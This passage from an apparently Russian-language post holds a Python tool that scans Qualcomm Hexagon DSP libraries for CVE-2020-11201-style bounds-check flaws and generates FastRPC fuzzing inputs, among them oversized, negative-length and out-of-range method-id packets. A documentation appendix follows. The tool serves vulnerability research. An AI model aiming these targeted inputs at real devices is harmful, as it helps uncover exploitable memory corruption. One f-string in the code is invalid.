4. Identify methods with weak/missing bounds checks
5. Generate targeted fuzzing corpus for each vulnerable path
Key targets:
- libsysmon_skel.so: sysmon_skel_invoke (8684 bytes, main dispatcher)
- sysmon_usermode_buffer_copy: copies HLOS buf with hardcoded dst size=0x101
- memtest_memcpy/memtest_malloc: size from user input
"""
import sys
import re
import subprocess
import struct
import json
from pathlib import Path
from dataclasses import dataclass, field
from typing import Optional
LIB_DIR = Path(__file__).parent / 'libs'
OUT_DIR = Path(__file__).parent / 'fuzz_out'
# ─── disassembler ─────────────────────────────────────────────────────────────
def disasm(lib_path: str) -> list[dict]:
"""Run llvm-objdump and parse output into structured instruction list."""
for objdump in ['llvm-objdump-20', 'llvm-objdump-19', 'llvm-objdump']:
for arch_flag in ['--arch=hexagon', '--arch-name=hexagon']:
try:
result = subprocess.run(
[objdump, '-d', arch_flag, lib_path],
capture_output=True, text=True, timeout=60
)
if result.returncode == 0:
return _parse_objdump(result.stdout)
except (FileNotFoundError, subprocess.TimeoutExpired):
break
raise RuntimeError("llvm-objdump not found")
def _parse_objdump(text: str) -> list[dict]:
"""Parse objdump output into list of {addr, bytes, mnemonic, operands, func}."""
insns = []
current_func = None
func_re = re.compile(r'^([0-9a-f]+) <([^>]+)>:')
insn_re = re.compile(r'^\s+([0-9a-f]+):\s+[0-9a-f ]+\t(.+)$')
for line in text.splitlines():
fm = func_re.match(line)
if fm:
current_func = fm.group(2)
continue
im = insn_re.match(line)
if im:
addr = int(im.group(1), 16)
raw = im.group(2).strip()
parts = raw.split(None, 1)
mn = parts[0].lower() if parts else ''
ops = parts[1] if len(parts) > 1 else ''
insns.append({
'addr': addr,
'func': current_func,
'mnemonic': mn,
'operands': ops,
'raw': raw,
})
return insns
# ─── vulnerability pattern matchers ──────────────────────────────────────────
@dataclass
class Finding:
vuln_type: str
addr: int
func: str
desc: str
severity: str = 'MEDIUM'
evidence: list = field(default_factory=list)
def is_signed_cmp(mn: str) -> bool:
return any(x in mn for x in ['cmp.gt(', 'cmp.lt(', 'cmph.gt(', 'cmpb.gt('])
def is_unsigned_cmp(mn: str) -> bool:
return any(x in mn for x in ['cmp.gtu(', 'cmp.ltu(', 'cmp.gtu'])
def is_mem_op(raw: str) -> bool:
return bool(re.search(r'mem[wbhd]\s*\(', raw))
def is_call(mn: str) -> bool:
return mn.startswith('call')
def extract_call_target(ops: str) -> Optional[int]:
m = re.search(r'0x([0-9a-f]+)', ops)
if m:
return int(m.group(1), 16)
return None
def extract_cmp_imm(raw: str) -> Optional[int]:
"""Extract immediate value from comparison instruction."""
m = re.search(r'#(-?(?:0x[0-9a-f]+|\d+))', raw)
if m:
val = m.group(1)
return int(val, 16) if val.startswith('0x') or val.startswith('-0x') else int(val)
return None
# ─── Pattern 1: signed comparison feeding memory operation ───────────────────
def scan_signed_len_check(insns: list[dict]) -> list[Finding]:
"""
CVE-2020-11201 pattern: length value checked with SIGNED comparison
but then used as unsigned index/size in memory operation.
Heuristic: signed cmp within 8 insns of a mem op, same function.
"""
findings = []
for i, insn in enumerate(insns):
raw = insn['raw']
if not is_signed_cmp(raw):
continue
for j in range(i+1, min(i+10, len(insns))):
nxt = insns[j]
if nxt['func'] != insn['func']:
break
if is_mem_op(nxt['raw']):
findings.append(Finding(
vuln_type='SIGNED_LEN_CHECK',
addr=insn['addr'],
func=insn['func'] or '',
desc=f"Signed cmp at {insn['addr']:#x} → mem op at {nxt['addr']:#x}",
severity='HIGH',
evidence=[raw, nxt['raw']],
))
break
return findings
# ─── Pattern 2: dispatch table OOB index ─────────────────────────────────────
def scan_dispatch_invoke(insns: list[dict], func_name: str = 'sysmon_skel_invoke') -> dict:
"""
Analyze the main skel_invoke dispatcher:
- Look for method_id used as array index without bounds check
- Flag signed comparisons in dispatcher
sysmon_skel_invoke pattern:
r4 = extractu(_sc, #5, #0x18) ← method_id (5 bits, 0-31)
r4 = memw(r3+r4<<#0x2) ← dispatch table lookup (OOB if no check)
"""
func_insns = [i for i in insns if i['func'] == func_name]
if not func_insns:
return {'methods': [], 'error': f'Function {func_name} not found'}
print(f" [*] {func_name}: {len(func_insns)} instructions")
target_counts = {}
for insn in func_insns:
if 'jump' in insn['mnemonic'] or 'jump' in insn['raw']:
m = re.search(r'0x([0-9a-f]+)', insn['raw'])
if m:
t = int(m.group(1), 16)
target_counts[t] = target_counts.get(t, 0) + 1
error_addr = None
if target_counts:
error_addr = max(target_counts, key=lambda k: target_counts[k])
print(f" [*] Error handler likely at {error_addr:#x} ({target_counts[error_addr]} jumps)")
checks = []
calls = []
for insn in func_insns:
raw = insn['raw']
if is_unsigned_cmp(raw) or is_signed_cmp(raw):
imm = extract_cmp_imm(raw)
checks.append({'addr': insn['addr'], 'raw': raw, 'imm': imm,
'signed': is_signed_cmp(raw)})
if is_call(insn['mnemonic']):
target = extract_call_target(insn['operands'])
calls.append({'addr': insn['addr'], 'target': target})
print(f" [*] Found {len(checks)} size/count checks, {len(calls)} function calls")
signed_checks = [c for c in checks if c['signed']]
if signed_checks:
print(f"\n [!!!] SIGNED comparisons in {func_name} ({len(signed_checks)}):")
for c in signed_checks[:20]:
print(f" {c['addr']:#x}: {c['raw']}")
else:
print(f" [+] All comparisons appear UNSIGNED (cmp.gtu)")
target_funcs = set(c['target'] for c in calls if c['target'])
print(f" [*] Dispatch targets: {sorted(target_funcs)}")
return {
'func': func_name,
'insn_count': len(func_insns),
'checks': checks,
'calls': calls,
'error_addr': error_addr,
'signed_checks': signed_checks,
}
# ─── Pattern 3: memtest_memcpy size validation ───────────────────────────────
def analyze_memtest_memcpy(insns: list[dict]) -> list[Finding]:
findings = []
func_insns = [i for i in insns if i['func'] == 'memtest_memcpy']
if not func_insns:
return findings
has_size_check = False
calls_found = []
for insn in func_insns:
raw = insn['raw']
if 'cmp' in raw and ('r2' in raw or 'r3' in raw):
has_size_check = True
if is_call(insn['mnemonic']):
t = extract_call_target(insn['operands'])
calls_found.append((insn['addr'], t))
if not has_size_check:
findings.append(Finding(
vuln_type='MISSING_SIZE_CHECK',
addr=func_insns[0]['addr'],
func='memtest_memcpy',
desc='memtest_memcpy: no size validation found before copy operation',
severity='HIGH',
))
for addr, target in calls_found:
print(f" [*] memtest_memcpy call @ {addr:#x} → {target:#x if target else '?'}")
return findings
# ─── Pattern 4: sysmon_mem_test overflow ─────────────────────────────────────
def analyze_sysmon_mem_test(insns: list[dict]) -> list[Finding]:
findings = []
func_insns = [i for i in insns if i['func'] == 'sysmon_mem_test']
mpys = [i for i in func_insns if 'mpyi' in i['raw'] or 'mpyu' in i['raw']]
if mpys:
findings.append(Finding(
vuln_type='INT_OVERFLOW_IN_SIZE',
addr=mpys[0]['addr'],
func='sysmon_mem_test',
desc=f"sysmon_mem_test multiply @ {mpys[0]['addr']:#x}: {mpys[0]['raw']}",
severity='MEDIUM',
evidence=[m['raw'] for m in mpys[:3]],
))
return findings
# ─── Pattern 5: usermode_buffer_copy hardcoded size ──────────────────────────
def analyze_usermode_buffer_copy(insns: list[dict]) -> list[Finding]:
"""
sysmon_usermode_buffer_copy: hardcoded dst_size=0x101.
CVE-2020-11201 pattern: check if caller validates src_len as signed.
"""
findings = []
func_insns = [i for i in insns if i['func'] == 'sysmon_usermode_buffer_copy']
if not func_insns:
func_insns = [i for i in insns if i['func'] and 'usermode_buffer' in i['func']]
for insn in func_insns:
if '0x101' in insn['raw'] or '##0x100' in insn['raw']:
print(f" [!] Hardcoded dst_size=0x101 at {insn['addr']:#x}: {insn['raw']}")
findings.append(Finding(
vuln_type='HARDCODED_BUFFER_SIZE',
addr=insn['addr'],
func=insn['func'] or '',
desc=f"Hardcoded dst_size=0x101 at {insn['addr']:#x}",
severity='MEDIUM',
evidence=[insn['raw']],
))
return findings
# ─── fastrpc corpus generator ─────────────────────────────────────────────────
def build_fastrpc_packet(method_sc: int, args: list[bytes]) -> bytes:
"""
Build fastrpc invocation packet for fuzzing harness.
Format: [4B: sc] [4B: num_args] [per arg: 4B nLen + data]
"""
out = struct.pack('<II', method_sc, len(args))
for arg in args:
out += struct.pack('<I', len(arg))
out += arg
return out
def generate_sysmon_corpus() -> list[tuple[str, bytes]]:
corpus = []
# Normal: method 0, small buffer
corpus.append(('sysmon_reg_profiler_valid',
build_fastrpc_packet(0, [b'\x01\x00\x00\x00', b'\x00\x00\x00\x00'])))
# sysmon_usermode_buffer_copy: boundary 0x101 bytes
corpus.append(('usermode_buffer_copy_exact',
build_fastrpc_packet(3, [b'A' * 0x101, b'\x00' * 0x101])))
# Off-by-one: 0x102 bytes
corpus.append(('usermode_buffer_copy_oob',
build_fastrpc_packet(3, [b'A' * 0x102, b'\x00' * 0x102])))
# Negative length: nLen=0xFFFFFFFF (sign extension test)
pkt = struct.pack('<III', 3, 1, 0xFFFFFFFF)
pkt += b'A' * 4
corpus.append(('usermode_buffer_copy_neg_len', pkt))
# OOB dispatch: method_id=31 (max 5-bit) — no bounds check expected
corpus.append(('oob_dispatch_method31',
build_fastrpc_packet((31 << 24) | (1 << 16) | (1 << 8),
[b'B' * 0x10, b'\x00' * 0x10])))
# All zeros
corpus.append(('all_zeros', build_fastrpc_packet(0, [b'\x00' * 4])))
# Corrupt sc
corpus.append(('corrupt_sc', struct.pack('<I', 0xFFFFFFFF) + b'\x00' * 32))
return corpus
def mutate_corpus(corpus: list[tuple[str, bytes]], n: int = 200) -> list[tuple[str, bytes]]:
import random
mutated = list(corpus)
INTERESTING = [0, 1, -1, 0x7F, 0x80, 0xFF, 0x100, 0x101, 0x7FFF, 0x8000,
0xFFFF, 0x10000, 0x7FFFFFFF, 0x80000000, 0xFFFFFFFF]
for i in range(n):
name, data = random.choice(corpus)
data = bytearray(data)
strat = random.randint(0, 5)
if strat == 0 and len(data) >= 8:
val = random.choice(INTERESTING) & 0xFFFFFFFF
struct.pack_into('<I', data, 8, val)
elif strat == 1 and len(data) > 0:
pos = random.randint(0, len(data)-1)
data[pos] ^= random.randint(1, 255)
elif strat == 2 and len(data) >= 4:
struct.pack_into('<I', data, 0, random.randint(0, 100))
elif strat == 3 and len(data) >= 8:
for j in range(12, len(data)):
data[j] = 0x41
elif strat == 4:
data += bytes([random.randint(0, 255) for _ in range(random.randint(1, 64))])
elif strat == 5 and len(data) >= 8:
pos = random.randint(0, (len(data)//4 - 1)) * 4
val = random.choice(INTERESTING) & 0xFFFFFFFF
struct.pack_into('<I', data, pos, val)
mutated.append((f'mut_{name}_{i:04d}', bytes(data)))
return mutated
# ─── Main ─────────────────────────────────────────────────────────────────────
def main():
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('--lib', default='libsysmon_skel.so')
parser.add_argument('--corpus', action='store_true', help='Generate fuzzing corpus')
parser.add_argument('--all-libs', action='store_true', help='Scan all libraries')
args = parser.parse_args()
libs = list(LIB_DIR.glob('*.so')) if args.all_libs else [LIB_DIR / args.lib]
all_findings = []
for lib_path in libs:
print(f"\n{'='*60}")
print(f"Library: {lib_path.name}")
print(f"{'='*60}")
try:
insns = disasm(str(lib_path))
except Exception as e:
print(f"[!] Disassembly failed: {e}")
continue
print(f"[+] Disassembled {len(insns)} instructions")
funcs = sorted(set(i['func'] for i in insns if i['func']))
print(f"[+] Functions: {len(funcs)}")
print(f"\n--- Pattern 1: Signed length checks ---")
f1 = scan_signed_len_check(insns)
all_findings.extend(f1)
for f in f1[:10]:
print(f" [{'!!!' if f.severity == 'HIGH' else '!'}] {f.desc}")
if not f1:
print(" (none found)")
print(f"\n--- Pattern 2: Dispatcher analysis ---")
for fn in ['sysmon_skel_invoke', 'cdsp_skel_invoke', 'skel_invoke']:
if any(i['func'] == fn for i in insns):
scan_dispatch_invoke(insns, fn)
print(f"\n--- Pattern 3: memtest_memcpy ---")
f3 = analyze_memtest_memcpy(insns)
all_findings.extend(f3)
print(f"\n--- Pattern 4: sysmon_mem_test ---")
f4 = analyze_sysmon_mem_test(insns)
all_findings.extend(f4)
print(f"\n--- Pattern 5: usermode_buffer_copy ---")
f5 = analyze_usermode_buffer_copy(insns)
all_findings.extend(f5)
print(f"\n--- Summary ---")
print(f" Total: {len(f1)+len(f3)+len(f4)+len(f5)}")
print(f" HIGH: {len([f for f in all_findings if f.severity == 'HIGH'])}")
if args.corpus:
OUT_DIR.mkdir(exist_ok=True)
corpus_dir = OUT_DIR / 'corpus_sysmon'
corpus_dir.mkdir(exist_ok=True)
seeds = generate_sysmon_corpus()
mutated = mutate_corpus(seeds, n=200)
for name, data in seeds + mutated:
(corpus_dir / f'{name}.bin').write_bytes(data)
print(f"\n[+] Written {len(seeds + mutated)} test cases to {corpus_dir}/")
print(f"afl-fuzz -i {corpus_dir}/ -o {OUT_DIR}/afl_out/ -- ./sysmon_harness @@")
if __name__ == '__main__':
main()
ewpage
# Приложение C. Материалы для изучения
Рекомендованная литература и документация по Hexagon QDSP6 и FastRPC.
---
## Официальная документация Qualcomm
Hexagon SDK / FastRPC:
- Qualcomm DSP Developer Documentation — FastRPC и Android Native Hardware Buffers
Официальный обзор FastRPC API, IDL workflow, shared memory модели. Стартовая точка для понимания
skel_handle_invoke ABI.Hexagon V73 Programmer's Reference Manual:
- 80-N2040-53 — Qualcomm Hexagon V73 Programmer's Reference Manual
Полный набор инструкций V73: encoding, семантика, пакеты. Обязательно при декодировании неизвестных опкодов вручную.
- 80-N2040-54 REV AB — Qualcomm Hexagon V73 HVX Programmer's Reference Manual
HVX (Hexagon Vector eXtensions): 128-байтовые векторные регистры, SIMD инструкции. Нужен при реверсе ML/camera DSP библиотек.
Hexagon SDK полный пакет:
- Qualcomm Hexagon SDK — All Docs
Полный SDK: QuRT RTOS API, FastRPC tutorials, примеры skel/stub кода, инструкция по сборке под
hexagon-unknown-linux-musl.---
## Дизассемблеры и библиотеки
yaxpeax-hexagon:
- git.iximeow.net/yaxpeax-hexagon
Rust-декодер для Hexagon инструкций. Точнее чем binutils для V73; поддерживает compound инструкции и правильно декодирует
.new суффиксы.- crates.io/crates/yaxpeax-hexagon
Crate для интеграции в собственные инструменты анализа. Использовать вместо
llvm-objdump когда нужна программная обработка потока инструкций.---
## Как использовать эти источники
| Задача | Документ |
|--------|----------|
| Понять encoding незнакомой инструкции | 80-N2040-53 PDF, глава по типу инструкции |
| Разобраться с HVX в camera/ML либе | 80-N2040-54 PDF |
| Написать корректный skel stub | Qualcomm SDK All Docs, FastRPC раздел |
| Программный дизассемблер для Rust-инструмента | yaxpeax-hexagon crate |
| Понять SELinux/доступность fastrpc | SDK → FastRPC + Android Permissions документация |
👍6
👏1
💯1
LIMB